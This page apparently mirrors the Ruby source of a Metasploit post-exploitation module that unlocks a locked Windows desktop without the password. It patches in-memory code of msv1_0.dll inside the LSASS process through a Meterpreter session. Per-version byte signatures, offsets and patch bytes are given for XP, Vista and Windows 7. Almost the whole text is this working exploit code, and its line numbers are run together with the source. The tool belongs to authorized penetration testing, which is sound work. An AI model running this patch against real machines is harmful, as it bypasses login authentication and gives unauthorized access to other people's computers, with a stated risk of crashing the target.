Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/escalate/screen_unlock.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Version910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Escalate Locked Desktop Unlocker',15'Description' => %q{16This module unlocks a locked Windows desktop by patching17the respective code inside the LSASS.exe process. This18patching process can result in the target system hanging or19even rebooting, so be careful when using this module on20production systems.21},22'License' => MSF_LICENSE,23'Author' => [24'L4teral <l4teral[4t]gmail com>', # Meterpreter script25'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/1626],27'Platform' => [ 'win' ],28'SessionTypes' => [ 'meterpreter' ],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32stdapi_sys_process_attach33stdapi_sys_process_memory_read34stdapi_sys_process_memory_write35]36}37}38)39)4041register_options([42OptBool.new('REVERT', [false, 'Enable this option to revert the in-memory patch and enable locking again', false])43])44end4546def unsupported47print_error('This platform is not supported with this Script!')48raise Rex::Script::Completed49end5051def run52revert = datastore['REVERT']5354targets = [55{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 },56{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 },57{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },58{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },59{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },60{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 },61{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish62]6364unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)65version = get_version_info6667targets.each do |t|68next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server?6970target = t71print_status("OS '#{version.product_name}' found in known targets")72pid = client.sys.process['lsass.exe']73p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)74dllbase = p.image['msv1_0.dll']7576sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack('H*')[0]77if sig != target[:sig]78print_error('Found signature does not match')79next80end81old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack('H*')[0]82if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))83print_error('Found code does not match')84next85end8687print_status('Patching...')88new_code = revert ? target[:orig_code] : target[:patch]89p.memory.write(dllbase + target[:patchoffset], [new_code].pack('H*'))9091written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack('H*')[0]92if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))93print_status('Done!')94raise Rex::Script::Completed95else96print_error('Failed!')97next98end99end100101print_error('No working target found')102end103end104105106